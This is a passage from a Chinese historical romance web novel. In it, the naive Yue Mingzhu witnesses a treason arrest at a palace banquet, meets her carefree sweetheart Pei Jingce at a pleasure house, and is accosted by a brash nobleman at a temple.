分明是春日,他的眼神却如同凛冽的寒风,平静朝她刮了过来。
但不过一眨眼,那沉沉的视线便移向别处了,仿佛刚刚只是越明珠的错觉。
应该的确是错觉吧。
看她做什么,不应该看那些毛遂自荐的贵女们才对。
又过了一会儿,裴皇后总算定下了奏乐的人选。楚叶彤来到席间,盈盈叩拜,又含羞带怯地看向墨色锦袍的男子:“那臣女便斗胆献丑了。”
裴晏迟抬眸,语调微凉,说出的却并非众人想象中的厌烦之词:“你方才说,你是楚巩女儿?”
话音徐徐落下,四周哗然,连裴皇后都不由侧目。
裴大公子不近女色,这可是头一回主动问人名姓,难道……?
楚叶彤福身应答,语调掐得娇柔至极,因欣喜跟激动微微发抖:“是,臣女家父正是楚巩……”
变故突如其来。最后一个字尚未说完,一旁的庄河便抽出长剑抵在楚叶彤脖颈上。
所有旖旎都在瞬间烟消云散,剑身锋利,铓气弥锐,楚叶彤直接尖叫了出来,离得近的女眷也被惊得起身连连后退。
裴皇后:“子淮!”
裴晏迟不动如山,抬手示意侍从将几封书信呈给皇后。
迎着裴皇后震惊的目光,他面无表情地平淡开口:“赴宴前刚刚缴获罪证,确定楚将军麾下亲信副将曾与已经身死的逆党以阴书来往。”
“楚将军府刚刚被陛下兵马包围,恐怕正是状况频出之时。”
他起身作揖:“兹事体大,臣不得不即刻前往,还望皇后娘娘体谅。臣先行告退。”
席间万籁俱寂,静得落针可闻。
裴皇后看着呈上的书信震惊不语,不加阻拦。一旁的宫女太监见状,什么宫规都不敢再计较,连忙恭恭敬敬地躬身相送。
裴晏迟拂衣而去。庄河示意暗卫上前押住楚叶彤,收起剑一同离开。
越明珠眼睁睁看着楚叶彤被人带了下去,准确说完全是被拽下去的,两条腿拖在地上,仓皇狼狈得叫人触目惊心。
养在闺中的女郎何曾见过这般场面,几乎所有人都噤若寒蝉。
人都走远了,宴上还仍是一片鸦雀无声。
…………
一场赏花宴,最后竟然以这般方式草草收场。
上了马车,越明珠仍有些惊魂未定。
云青见四下无人,直白地道:“小姐不用替这种人可惜,她之前才欺负过小姐。奴婢只想拍手叫好!”
越明珠摇了摇脑袋:“我不是可惜她。”
非要跟逆党勾结,阖家遭殃都是轻的了。自古以来的规矩便是如此。
她纯粹是被裴晏迟刚刚的模样吓到了。
想象一下,如果有个人前一刻还好端端地问她名姓,后一刻就命人把剑抵在她脖子上,平静地告诉她刚刚已经把她抄家了,她
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成了罪臣之女,马上就会家破人亡……
她一定一定会肝胆俱裂昏死过去的。
而且,越明珠本以为楚叶彤毫发无伤,是裴晏迟起了怜香惜玉之心。
结果听旁人说,不过是为了拿楚将军唯一的宝贝女儿作人质,令将军府投鼠忌器。
一直以来都在面前那般耀武扬威不可一世的贵女,门第高贵到她爹攀都攀不上的的世家大族,在裴大公子的手底下,竟然连一只会挣扎的蝼蚁都算不上。
……惹了这种人,前景当真是比上京夜里的天还要一片漆黑。
“楚家小姐如今那副下场,只不过是恶有恶报,小姐不用想太多。”
越明珠嗯了声,不再说话。
马车内陷入寂静,也不知道过了多久,她肚子突然咕咕叫了一声。
越明珠:“……”
她连忙解释道:“我没有馋,只是刚刚没吃饱。”
刚刚那情景,估计谁看了都会被吓得没胃口。
“那奴婢陪小姐去买些点心吧。”云青点头笑道,“正巧要路过流锦阁跟灵犀阁,小姐要不要顺便挑些新的衣裳首饰?”
越明珠掰着指尖数了数。等她能跟裴惊策见面时恐怕已经入夏了。女为悦己者容,要去见心上人,确实应当添置些适宜初夏的穿戴才好。
她当即同意了这个计划。
不过这回来得着实不巧,流锦阁掩着门户,说是掌柜出了些事,要到申时后才开张。
离申时不过一刻,越明珠左看看右看看,发现这条街尽头有家酒楼,干脆进去歇一歇。
一进去才发现这似乎并非寻常酒楼,外边门匾拜月楼三字竟然是连中三元的状元郎提的。
里头门庭若市,不少文人雅客都聚集在此,吟诗作赋,品酒听曲,当真是一副雅燕飞觞、清谈挥麈的热闹景象。
越明珠来得晚,只订到一处偏僻的雅座。
她也不挑,坐下后便开始吃从旁边食记买的梅子冰酪,份量很足,正好跟云青一人一碗。
坐在此处,听不见一楼那些文期酒会里的高谈阔论,却隐隐约约能听见楼上的暖阁不时传来女子柔媚婉转的吴言侬语,和着靡靡之音,叫人恍若置身江南水乡。
越明珠好奇地问:“这里是不是可以找人来唱曲?”
云青:“小姐想听?”
越明珠点头。
以前她常常跟裴惊策去桃花河花坊边的游船上玩,耳边都是从花坊里传来的江南小调,若断若续,却又绕梁不绝。
回到上京后,她便再也没有听过了。
“奴婢刚刚听那些文人说,楼上都是接待贵客的地方,别有洞天。”
云青压低声音:“说不定是什么烟花风月之地,小姐还是离远些为好。”
越明珠半懂不懂,却很听劝:“那我还是不听了。”
云青道:“奴婢觉得,等成婚之后,小姐可以拉着小少爷回江南,想听什么都有,肯定比在这儿舒心。”
她的脸颊立即浮起了团团绯红:“……说什么呢!”
什么订亲啊成婚啊,越明珠其实想都没有想过。
这种事情当然要男子先提的,她总是记挂在心上算什么样子?只要阿策哥哥还念着就可以了。
越明珠莫名觉得耳尖越来越烫。她放下瓷勺,转移话题道:“好像到申时了,我们去流锦阁看看吧。”
大抵是因为她太过心不在焉,穿过长廊拐角时,竟然险些撞上了旁人。
那人一身脂粉气混着酒气,不用细看就知道不正经,越明珠不想同他纠缠,道了句歉便匆匆要走。
没想到那人却站定着不让路,像在打量她:“你不就是……越家那个小小姐?”
越明珠愣神,正眼看过去,才发现竟然是裴惊策身边经常出现的熟面庞。
“你认识我吗?”
“听惊策提过,”薛衡应道,不止想到了什么,脸上露出几分看好戏的表情,“你要去楼上找他啊?”
越明珠怔然:“他在这里?”
8. 08
口口相传的确不曾有假。拜月楼三楼之上当真是另一副景象。
越明珠跟着薛衡来到五楼,侍从熟悉薛家大少的相貌,便不再多话过问身份,毕恭毕敬地推开最里处厢房沉重如铁的大门。
大门后曲径通幽,竟然并非是一处或狭窄或宽阔的房室,而是一处望不到边际的花圃。
幽花欹满树,细水曲通池,不像是上京城,更像是水木明瑟的江南风光。
越明珠头一回见到这般情形,险些惊奇地以为自己出现了幻觉。
薛衡好心地跟她解释,酒楼背靠矮山,这一层便依山而建,通向山腰后花园,造出犹如空中楼阁的景象。
因着这桩酒楼是薛家的产业,他此时颇有几分宴客做东的自在。
越明珠却不大自在。
这里十分广阔,青石路却修得过于狭窄,又不断有人出入。她不得不一次又一次跟抱琴拿萧的貌美女子们擦肩而过。
那些女子除了相貌跟手中的器乐不同,几乎像是从一个模子里刻出来的。
俯首低眉,莲步习习,着水色裙裳,披青绿纱衣。
风吹过时,薄纱轻轻飘起,铺天盖地都是桃花香气。
回过神,本来一直给她领路的薛衡不知道什么时候不见了踪迹。
越明珠正想叫住谁问路,便耳尖地听见有人在喊裴小少爷的名谓。顺着那几道柔柔的女声找去,她终于在亭台水榭之上找到了熟悉的身影。
少年后背抵着雕花廊柱,俊逸身形懒懒地倚在凭栏边。
有陌生婢子上前同他耳语,他不避不应,仿佛再平常不过。
也不知道那人说了什么,裴惊策眉峰忽的一挑,微侧过身,视线垂落在不远处的越明珠脸上。
视线交汇,越明珠从迷茫中回过神来,骤地想起裴惊策之前说过最近不适宜见面的话。
……那她是不是不应该在这儿?
然而裴惊策神色没变,始终闲适懒散。等支走身边人后,他便伸出手,远远朝她招了一下。
像是在唤自家不小心跑到外边迷了路的猫儿。
绷紧的心弦一下子松开了,越明珠提起裙摆,几乎是用小碎步跑了过去。
走近之后,她才发觉这儿不只有裴惊策。层层叠叠鳞次栉比的楼阁中似乎有好几双眼睛,都是裴惊策经常交好的纨绔子弟。
看样子并非是裴小少爷一个人出来消遣,更像是拜月楼的东家宴请了一群关系好的贵客。
越明珠向来都在这群人面前装作不认识裴惊策,此刻见到了,也下意识地停住了脚步,犹豫着不敢走上亭台。
“愣着做什么?”
裴惊策瞥了旁边一眼,又重新地看向她,“上来。”
裴惊策叫她做的总是对的,越明珠听话地拾级而上。
不过一路上那群人投来的目光太明显了些,她被看得有些局促不安,忍不住往裴惊策那儿凑了凑,躲在他身旁,低声细语地道:
“阿策哥哥,刚刚我过来的时候有人看见我了……”
裴惊策泰然自若地道:“看见就看见了。”
越明珠东张西望:“那我现在跟你在这儿,他们也会看见吗?”
她脸皮薄,实在不敢在别人的视线下你侬我侬。
“不会。”
他顿了一下,忽然敛起笑意,桃花眼微微眯起:“——难道明珠妹妹觉得我很见不得人?”
越明珠:“我没有这个意思!!”
“我只是怕给你添麻烦,我来之前不知道这儿还有别人……”
同样的招数,每回拿出来逗越明珠都同样能见她急得手足无措,笨得不加长进。
突然起的兴致又突然消了下去,裴惊策出声挑开了话锋;“那谁带你来的?”
越明珠的手捏住衣袖,声音一下子小了:“我巧遇了你的一个朋友,好像姓薛。他主动说可以带我过来。”
裴惊策一听便全部了然。他偏头找了找薛衡的踪迹。也不知道找到没,只轻轻嗤了一声:“跑得倒是快。”
这语气委实算不上好。越明珠以为他是在生自己的气,连忙道:“我只是想过来看你一眼……马上就走!”
裴惊策收回视线,望了她那副慌乱的姿态好一会儿,倏地抬手,指节擦过少女白玉髓似的耳垂,将她鬓边几缕凌乱的碎发撩到耳后。
他收回手,懒懒散散地问道:“只看一眼啊?”
越明珠对上他潋滟的桃花眸,感觉自己脑子一下子有点转不过来了,呆呆地脱口而出:“那可以多看几眼吗?”
说完之后,她才意识到自己好像问了一个很傻很傻的问题,本来就烫的耳朵更是红得几乎滴血。
没想到裴惊策点头道:“正好今日可以。”
这句话像是什么律令,越明珠立即有讲不完的话想说给他听。
“……阿策哥哥,待会儿我原准备去流锦阁选些入夏的新衣裳,不过没想好要什么颜色的布,你以前说我穿杏色好看,现在好像没说过了,那你觉得还有没有别的颜色适合我呀?
……噢,你受的伤好了吗?都说大病初愈不宜饮酒,我看你刚刚那朋友一身酒气,他们会不会起哄让你喝?这些时日你兄长留在上京没有难为你吧?”
说完之后,她便眨巴着眼睛等着他回答,好像等着大人发饴糖的小孩子。
裴惊策扬了扬眉:“说这么快,是怕我听清楚你的问题?”
“……”越明珠不好意思地扇了扇睫毛,“那我重新问一遍,你不要嫌我烦。”
“正好这回听清了。伤早好了,没起哄,没人为难,还有——”
嗓音微顿一瞬。
“今日这一身,很适合你。”
越明珠心跳漏了一下,下意识垂下脑袋掩住脸边的羞赧。
顺势看见自己的裙裳,是淡淡的鹅黄色。她等会儿一定全部选这个颜色的布料。
越明珠暗暗记下,正欲开口继续问别的,不远处突然响起一声短促的筝鸣。
她转过脑袋,就看见玉阶边上不知何时来了一个怀抱素筝的貌美女子。
那人也怔怔地看着她,或许是因为太惊讶失了手,拨动琴弦发出了突兀的声响。
四目相对,那女子先反应过来,往后退了一步,低头盈盈行礼:“……妾身不曾想此时来的不是时候,还望小少爷见谅。”
说来也奇怪,分明是这女子先告罪,可越明珠隐约觉得,此时来的不是时候的似乎另有其人。
她觉得有点奇怪,又说不上来,转头去问裴惊策:“是不是有什么我不能听的话?”
裴惊策只道:“没有。”
“乐倌来唱曲儿而已,一个人与几个人听有什么差别。你要是不想听,就让她下去。”
原来是这里的乐倌。越明珠眼睛立即亮了起来:“我想听。”
听她这么说,那女子并未动弹。直到裴惊策瞥了过来,她才欠了欠身,柔声应道:“是。”
她将筝放好,并未直接在琴桌前坐下,反而袅袅婷婷走到裴惊策面前,从袖间拿出一个不过巴掌大的木盒。
“小少爷上回醉后忘拿走的随身之物,妾身一直好好保管着,不敢怠慢。”
裴惊策看都没看一眼:“放旁边吧。”
女子应声,将木盒置在一旁,正欲重新坐到琴桌前,袖里的玉坠忽然滑落出来,摔在了桌上。
哐当一声,还伴随着低低的娇呼。
等越明珠看过去,女子才像回过了神,拿起玉坠,期期艾艾地道:“……抱歉,这是妾身心爱之物,刚刚以为会摔破,忍不住失了态。”
说完这话,那女子便紧紧盯着越明珠看。
越明珠隐约觉得来者不善,但没找到原因。
她不想莫名对一个弱女子发难,道:“没事,你继续吧。”
女子瞧了她几眼,没有将玉坠重新挂好,只是放在桌边,再曲腿坐下。
上等羊脂玉做的玉坠明晃晃地放在那儿,难免有些惹眼。
多看几眼,越明珠终于发现了异常之处。
“阿策哥哥,这个玉坠跟你的好像啊。”
她只是单纯感叹一声,然而刚说完,那女子脸色骤变,噗通跪在地上:“是妾身的错!”
女子深深地
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看向裴惊策,眼底情愫难言,又低下了脑袋。
“妾身自知逾矩,可想到是小少爷所赠,便鬼迷了心窍,想要随身戴着……”
说到这种地步,便是迟钝如越明珠也听明白了。
这女子鬼迷心窍与否,越明珠并不在意。她只在意裴惊策的玉坠。
她从来不藏着掖着,想知道什么便问了:“阿策哥哥,这真是你的吗?”
裴惊策嗯了声:“赏的。”
越明珠抿起唇角:“为什么赏这个?”
裴惊策甚至没有正眼看那块玉坠:“唱得不错,懒得找钱袋了,随手赏了一个小玩意儿。”
一掷千金这种事,对裴小少爷来讲完全是家常便饭。
他说得太理所应当了,倒显得越明珠的追问有些多余。
越明珠张了张口,一时不知道说什么。
刚安静下来,便听见脚步声渐近。掌事听到动静跑了过来,一边朝小少爷告罪,一边领着女子离开了亭台。
那女子脸色微白,像是没料到惯用的手段失了效用,却不得不跟着下去。
这儿重新只剩下他们二人。
见她不说话,裴惊策也没问她缘由,视线落在远处,漫不经心地不知道在看什么。
冗长的寂静之后越明珠才走过去拉了拉他的衣袖。
“……阿策哥哥。”
裴惊策一顿,目光重新回到她脸上。
越明珠不敢看他,只看盯着他搭着的干净修长的指节。
“我看你随身的东西在一个女子手里,哪怕听了你的解释……还是忍不住胡思乱想了好多东西。”
裴惊策没应,她自顾自地继续说。
“但我又想起来,几年前我在落芳阁落了锦帕,被一个陌生男子捡到。
他借机要污我清白,多亏阿策哥哥帮忙,这事才平息。”
少年的声音迟迟自头顶上响起:“……你初回上京的时候?”
越明珠以为他在回想,嗯了一声。
关于裴惊策的事情,她几乎都历历在目。
她当时怕极了,怕被阿策哥哥当作移情别恋三心二意,又怕因此就要嫁给一个莫名的登徒子。
结果是裴惊策让裴家的人出面作证,撒谎说那锦帕不是她的,将此事干脆揭过。
此后裴惊策也不曾质问过她,一切如常。
偶尔提起过一句那些谣言,听她说是假的,便再也没有过问。
然而时过境迁,面对同样的情形,她刚刚竟然有一瞬觉得他与那女子不清不白。
明明他一点都不避讳她,有问必答,分外坦荡。
“……阿策哥哥,我不应该误会你的。”越明珠懊恼地咬起唇,“你怎么可能是那种人?”
她颠三倒四说了一堆,也不知道裴惊策听明白了多少。
又过了片刻,头顶上才响起他的嗓音,低低的,透着一如既往的漫不经心。
“这么大点事,怎么还自己把自己说得快哭了?”
越明珠咬紧唇,一本正经地道:“跟你有关的,对我来讲都是很重要的大事。”
“……所以自那以后,我知道自己糊涂,容易丢东西,就再也没有随身带过绣着帕子,都是丫鬟带着。”
越明珠知道自己一直都笨头笨脑的,总是丢三落四,不知道自己的东西被乱扔到了哪里,因此惹出一桩又一桩或大或小的事。
她没办法变聪明,只能想办法少惹一点事。
就算知道裴惊策不会误会,她也不想再闹出同样的事情,让他担心跟分神。
她也想对他好。
越明珠不知道自己怎么突然想说这个。
但说完之后,心中又莫名其妙生出一丝丝希冀,好像在等待某种回答。
等来的是裴惊策一只手挑起她的下巴,指腹擦走滴落在唇边的一滴泪珠。
“可惜我也没带帕子。”
指腹顺着往上,拭开她脸上一串的泪痕。
越明珠呆呆地望着他,瞧见她花猫似的脸,裴惊策低笑了声。
“将就一下,等会儿重新给你涂胭脂。”
9. 09
少年的脸庞凑过来,气息有一下没一下地洒落在她脸边、耳边,带来一片朦朦胧胧的痒意。
这并不是她刚刚想要的回答。然而对着那张近在咫尺又心心念念的俊脸,越明珠还是不争气地看呆了。
离得太近,她不敢乱动,站得僵直,乖乖地任由裴惊策摆弄脸蛋。
越明珠也不知道自己是哪来的眼泪,要怪就怪她从小就是个哭包。
从前被她爹跟夫子严厉地凶上几句,或者跟人拌嘴,嘴边的话还没说出口,眼泪就先下来了,怎么忍都忍不住。
裴惊策收回手时,指节上已经多了几团深浅不一的红。
他看了眼,叫人去端了盆清水来,又打量起指节的绯色,“你用的这是什么胭脂?”
“我也不清楚……”
越明珠不爱妆饰,只是今日前往宫中赴宴不可素面朝天,才让云青在脸上涂抹了些。
对于这些胭脂水粉,她是真一问三不知。
裴惊策:“那叫人呈几样时兴的,你随便挑一个。”
刚刚说要给她涂胭脂不止是随口哄人的话。裴小少爷的确准备纡尊降贵一回。
若是往日,越明珠一定满心欢喜毫不犹豫地应了下来。
什么样的胭脂都是次要的,能跟阿策哥哥在一起就好。
但今日也不知为何,她脱口而出的竟然是拒绝:“这种丫鬟份内的事,我不想麻烦阿策哥哥。”
说完之后,越明珠自己都愣了一愣。
倒是裴惊策挑了挑眉,满不在乎地道:“那随你。”
他并不觉得有什么,反正都是一时兴起。
倒是越明珠一说出口就后悔了。
少女不擅遮掩情绪,花瓣似的嘴唇被贝齿反复咬得发白,脸上就差写着“我是不是不该拒绝”几个充满纠结的大字。
裴惊策瞥了眼,只道:“时辰不早了,我派人送你出去。”
越明珠轻轻应了一声:“那我先走了,阿策哥哥也要好好保重身体。”
大抵是因为有心事,她并没有跟往常一样磨磨蹭蹭说一堆,乖乖地跟着侍从离开了。
人前脚刚走得没影儿,掌事后脚便机灵地上前来。
“方才那如云不懂规矩,狠狠罚过了,不知小少爷还要不要挑些别的乐倌……”
裴惊策毫无兴致,语调透着不耐:“你们东家滚哪儿去了?”
掌事的笑容僵在原地。
“叫我什么事?刚刚喝多了点,醒酒呢。”
亭下忽而传来薛衡若无其事的声音。
不过片刻,他便走到裴惊策面前,一边揉太阳穴一边装模作样地感叹道:“头还是有点晕啊,不太记得刚刚发生了什么。”
裴惊策抬眼,重复了一遍:“不记得?”
薛衡放下了揉太阳穴的手:“……好吧,人确实是我带进来的。”
他也没别的心思,就是想看个热闹。
毕竟实在是没有见过像越明珠这样单纯又好骗的小女郎。
仿佛根本一点都不知道裴小少爷在外是何等恶迹昭著。
看见越明珠那一刻,他便忍不住突发奇想,想看看越明珠在这儿碰见了裴惊策又会如何。
“看来还是太闲了。”
裴惊策倾身拍了拍他的肩,语气凉凉。
“我帮薛兄找点事做。你跟新探花郎夫人的事,估计马上就要传到薛大人耳朵里了。”
薛衡嘶了一声:“……你可真想我死啊?”
裴惊策:“再找事来烦我,下回可就不止这点。”
一想到回去又是一阵鸡飞狗跳,薛衡忍不住骂了句真损。
还好东窗事发对他这种纨绔子弟来讲已经是家常便饭。他自认有错在先,也没纠缠着不放。
“对了,还有个事儿。”
听见他说可以带她来见裴惊策,越明珠的第一反应,竟然是小心翼翼地追问道:“不会给阿策哥哥添麻烦吗?”
薛衡当时肯定说不会,现在回想起来却不确定了。难不成发生了什么他不知道的事儿?
裴惊策啧了声:“没什么。”
上回他告诉越明珠最近不适宜见面,纯粹只是觉得越明珠太吵了点。
他没那么多闲心天天应付她,刚好听她提到了裴晏迟,便顺口敷衍了过去。
今日有了心情,那话便自然不作数了。
“……行啊你,”薛衡噗嗤一笑,像听见什么天方夜谭,“你随口说的话,竟然还有人会信以为真?”
裴小少爷一向是装都懒得装,每次敷衍人的时候就差把敷衍二字明说了,稍微懂得看眼色的人都知道轻重。
只有越明珠这么郑重其事地放在心上。
但想想也不奇怪,越明珠瞧着确实也不大聪明。
长着张红颜祸水的美人脸,跟只狐狸似的,内里却截然相反,又好脾气又缺心眼。
加之她跟裴惊策有几年青梅竹马的情谊。过去的事总是美好一些,稍微想起来点,便很难不死心塌地。
“你已经闲到关心起这个了?”裴惊策懒得理薛衡,“走了,再会。”
离开拜月楼,他突然想起越明珠提起的手帕一事,站定,叫来侍从去查清楚。
若非越明珠说起,裴惊策几乎忘得干净。
他并不在意那些事,也不在意越明珠是否把那些事记挂在心上。听她提多了只觉得聒噪。
越明珠记挂得多记挂得少,乃至于全都忘了也都无所谓。
毕竟大多数对她来讲珍贵的回忆,在裴惊策心中都无足轻重。
那半年里,他应当压根没留心过越明珠的消息。
之后偶然听人说,才知道好像有人跟她提过亲。
后来顺口提过一次,听越明珠慌张地解释都是谣言,他便懒得追问了。
至于越明珠说的替她解围……
裴小少爷实在不记得自己做过这种事。
…………
越明珠心事重重的模样太过明显,云青一见到她便有所察觉,赶紧迎上来:“小姐这是怎么会是?”
不等越明珠回答,云青便又发现不对,惊道:“小姐,你脸上胭脂怎么全花了!?”
一连两个问题,越明珠下意识回答了更好回答的那个:“是阿策哥哥帮我擦掉的。”
分明是很正常的答案,也不知道云青为什么一听就变了脸色。
犹豫片刻,云青上前,压低声音道:“小姐,事关你的清誉,无论如何也要如实告诉奴婢……”
越明珠:“?”
“刚刚半个时辰,该不会小少爷哄着骗着你有了男女之实吧?”
越明珠:“???”
“云青!你想哪儿去了!”
她虽不懂男女之实具体都是什么,但看多了话本,隐约知道那是成亲之后才能做的东西,怎么可能跟她与阿策哥哥扯上关系?
越明珠的反应一向做不了假,云青这才缓缓放下心来。
“……都说拜月楼楼上是东家开来寻欢作乐的,奴婢忍不住想多了些。”
越明珠知道云青是担心自己,也不恼,认真解释了一遍里面的情景,顺便交代了方才发生的种种。
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>讲着讲着,她又忍不住喃喃:“……说来奇怪,我刚刚真像是莫名其妙变了个人一样。”
云青欲言又止。
小小姐性子温吞,又被养得太过天真烂漫,长这么大,或许今日还是头一回体会到拈酸吃醋的滋味。
叫人实在不知道从何说起。
好在越明珠不是会反复扭捏纠结的性子,没想通就先按下不想了。
她抬起脸,干脆地决定道:“晚点再说这些,我们先去流锦阁瞧一瞧。”
也许今日真是个大凶之日。流锦阁刚到的布匹实在普通,越明珠挑了好久却都没有挑到心仪的,也没有想要的颜色,折腾一番后只得无功而返。
一回府就得知了她爹托人带回来的口信。出了楚将军与逆党勾结的大事,闹得满城风雨,都察院也是一片忙乱。
越轻鸿嘱托越明珠好好休息,他这几日都不回府。
若是往日,没了她爹看着,越明珠已经谋划好什么时候溜出去找心上人了。
但最近都不宜见面,今日她才贸然去找过一回,这个月里怕是都不一定有第二次。
这几日该不会只能看看话本吧?唔,她前几日卧病在床几乎都要看完了,明日还得支人去书铺挑些新的。可好像一直看话本也很无聊。
越明珠越想越心烦意乱,吃过晚膳不久便就了寝。
然而真正躺在了榻上,她又睡不着,只能盯着床帷发呆,盯了好久好久才沉沉睡去。
大抵是日有所思夜有所梦,睡着之后,她竟隐约梦见裴惊策送了她什么东西。
自从回到上京,为了不节外生枝,他们之间连书信都少有,更别提互赠信物,直到她前不久及笄,裴惊策才说过要赠她及笄礼,但现在也没了下文。
越明珠迷迷糊糊地想,这个梦虽然香甜,却也太不实际了些。
“……小姐、小姐!”
“快醒醒!”
一旦睡了,无论发生什么都别想吵醒越明珠。她困得实在睁不开眼。
“小少爷送了好些东西到咱们府上,小姐快起来瞧瞧。”
裴惊策的名头比什么都管用,越明珠撑着身子坐起来,揉了揉惺忪睡眼:“什么?”
厢房里不知何时多了两个厚重的木箱。云青解释道:“是小少爷借了薛家二小姐的名义送到府上的馈礼,奴婢不敢在外头打开,便叫人先悄悄拿进来了。”
云青了解自家小姐。就算今日有些不快,但能听到跟裴惊策传来的音信,越明珠无论如何都会高兴的。
果不其然,越明珠的困意全消了。
她拿过灯盏便走到那箱子前,围着转了两圈,才确定这并不是刚才做的梦:“这是给我的及笄礼吗?”
“不不不,说是时兴的蜀绣苏绸,拿了些让小姐过眼。”
木箱是普通的木头。但打开之后,里面铺陈着全都是叫人眼花缭乱的绫罗绸缎。
除了她最想要的天丝鹅黄,还有许多时下正盛行的料子与样式。
燕纹莺绣,彩缕丽绸,随便挑出一块布帛都精致得叫人挪不开眼。
越明珠实在有点无从看起:“是不是都太招摇了点?”
“小姐就算衣着华贵,旁人也至多以为你悉心打扮过,哪儿会去想是谁送的布匹,不碍事的……诶,小姐!这儿有一朵纸花!”
信笺折花是裴惊策跟她共同的默契,将折好的花拆开,铺平信笺,便有熟悉的墨迹映入眼帘。
行云流水的笔锋,同裴小少爷的脾气一样随性不羁,潇洒肆意。
——“不日之后,宫中千灯宴下见。”
10. 10
收下那两箱锦绸,越明珠便想到趁此机会回赠手信。
不论如何,有人惦念着她,她也应该好好对待那个人才对。
不过她的女红甚是差劲,书画也不通,送什么能又低调又讨人欢喜呢?
越明珠想了一晚上没想出答案,还是云青提起,可以去青山寺祈福上香,求枚平安符赠给小少爷。
平安符小小一个贴身戴着,便是被人看见了也不知道联想到别处,寓意又很吉祥,自然最适合不过。
正好次日天朗气清,晴空和煦。越明珠决定即刻出门。
刚一坐上马车,便见孙妈妈急匆匆地跑过来提醒:“小姐,老爷说晌午后有客人,小姐务必要在未时之前回府。”
越明珠没有多想,应声后便放下了帷帘。
青山寺在上京城以东,依山傍水。虽然位置略微偏僻,但因着常年有大师讲学听禅的缘故,香火素来旺盛。
行至寺庙正门,却见朱门紧闭。原来是今日了无大师云游归来,在寺中邀了贵客,大门不可旁人通行。其余人等若想入内,只能再绕一条小道从侧门入寺。
云青悄悄八卦道:“这么大的阵仗,肯定是宫里的贵人。”
出入青山寺的香客不知凡几,其中不乏朝中重臣家眷。在他们面前设下这样的规矩,一点也不怕有所得罪,足以见得寺中那位大人物有多么位尊势重。
“也许只是了无大师喜好清静,随便找的一个借口。”越明珠托腮,“也不知道绕道去侧门远不远,能不能在未时前赶回去……哎呀!”
马车猛地一晃,吓得越明珠抓紧了云青的手臂:“怎么回事?”
云青连忙探出头去问车夫,盘问之下很快明白了情况:
“小姐,这条小路太窄,又是上山路,刚刚拐弯时马儿失了蹄,车毂撞上了前头的马车。”
“不过万幸的是只是车毂有些磕碰,别的并无大碍。”
虽然没闹出大事,但她的车马冲撞了别人,怎么着也应该道一声歉。
这基本的礼数,越明珠还是懂的。
越明珠掀开帷帘,望向前面的马车,正对上张熟悉的脸庞。
是才在踏青宴上见过的任四小姐。
旁边有个同她模样相似七八分的男子,应是她的胞弟,上回好像跟裴惊策打过马球。
“我就说是谁的马儿如此毛躁。”
任雪韵的视线轻轻掠过她的脸,轻轻一笑,语调柔和温婉:“原来是明珠的啊。”
“……”
任雪韵一向瞧不起她,每回都这般含沙射影。
一回两回,越明珠迟钝听不懂。可次数多了,便是听不明白也知道不会是什么好话。
越明珠不接话,只软着声音客客气气地道:“任姑娘,刚刚是我府中车夫的过错,真的很不好意思——”
任雪韵缓声打断:“若是不小心,也就罢了。只是明珠妹妹都到了天子脚下,身边奴仆还是这般粗鄙莽撞,实在叫人担心。”
她又笑了笑,“我先走了。”
话音落下,任雪韵便放下了帷帘,吩咐马车扬长而去。
云青:“小姐,奴婢觉得刚刚那是话里有话……”
越明珠才不会深想这些不要紧的事,道:“不管她的,我们也走吧。”
…………
进入青山寺内,只觉周身浸在缭绕檀香中,梵音悠扬飘渺。
越明珠不懂礼佛规矩,不过想着心诚则灵,便一间殿一尊像地拜了过去。
拜着拜着,她发现拿的香不够,便支了云青去旁边买,自己先去下一间殿。
她跪在蒲团上,双手合十,眸子刚刚闭上,旁边突然传来男子陌生的声音。
“真是巧了,又在这儿遇到越姑娘。”
越明珠吓了一跳,连忙起身望向来人:“谁?”
竟然正是刚刚跟任雪韵一同在马车内的男子。见她面露警惕与防备,有些不满地道:“任家七少爷任自恒的名姓,越姑娘都没有听说过?”
说是疑问,话外之音却透着笃定。
任家是上京城的阀阅大族,任自恒又是备受宠爱的幼子,他不相信怎么会有人没听过他的名头。
“没有,我不认识你,借过一下。”
越明珠隐约觉得这人很奇怪,径自要离开,却被任自恒伸手拦住。
“越姑娘深入简出,在郡主府踏青宴之前,我也不知道上京城还有你这般如花似玉的女郎。”
任自恒毫不避讳地打量着她,视线从她玉白的脸一路往下,赤|裸|裸地扫过她周身。
那眼中带着某些极其露|骨的意味,叫人很不舒服。
“倘若早些见过越姑娘,我定会重金厚礼抬你进任家大门。”
这用词太过轻薄逾矩,越明珠只觉得耳朵像是被人强行灌进了一桶污水。
她从前没有碰见过这般怪事,只想快些离开,侧身避开任自恒便往外走。
然而那人好像不死心,或者说压根没知道自己有多讨人嫌似的,还跟在她后头唤她:“越姑娘——”
走到有人的地方,越明珠才站定,侧过身没好气地道:“我不认识你,你不要再跟着我了!”
可惜她嗓音软绵绵的,再生气的话说出来都没有分量,根本骂不走这登徒子。
任自恒道:“我若没记错,越家到越大人这一辈才进了京,呕心沥血混到三品也无甚大用。”
他一副施舍了大恩大德的语气:“难得飞上枝头的机会,不知道有多少人争破了头,我就这么拱手送给越姑娘,越姑娘就一点都不珍惜?”
“……”
这人是不是脑子有问题。
越明珠连警告他的心思都没有了,惹不起总躲得起。她转身要走,却正正好好又遇见了任雪韵。
“自恒怎么跑到这儿来了?”
走近之后,任雪韵才像是刚刚看到任自恒旁边的越明珠,惊讶地打着招呼:“明珠也在啊。”
她很自然地上前握起越明珠的手,语调像个知心姐姐似的。
“我这个弟弟还真是不叫人省心。刚刚我去寒暄了两句,转头就不见了人影。我可真怕自恒又去胡作非为,没想到竟然是来找你的。见你们两个人在一起,心总算可以放下来了。”
那话里似是有无限供人遐想揣度的余地,越明珠说不出来是什么感受,但就是觉得不太对劲。
她道:“任姑娘,我并不认识你弟弟,是他莫名其妙找上我的,”
仿佛没想到她会如此直白地说破,任雪韵一怔:“明珠妹妹这说的是什么话?”
越明珠抽回了自己的手,后退一步,拉开了与他们姐弟俩的距离,重复道:“我从前根本没见过你弟弟,也不知道他找我做什么。”
任雪韵扯了扯嘴角,却露出另一副“恍然大悟”的表情:“……明珠妹妹你大可放心,今日之事,我一定守口如瓶。”
看起来通情达理,却绝口不提越明珠所言之事。
任自恒见状,干脆道:“我想纳越姑娘作妾这事,的确还未同姐姐说起。”
越明珠忍不住道:“我没有同意过你。”
“你方才可不像是要拒绝我的意思,”任自恒道,“越姑娘若是觉得我口说无凭,诚意不够,大可等会儿下山就让我去越府下聘。”
越明珠从未见过如此不可理喻之人,偏偏一旁的任雪韵还不加阻拦。
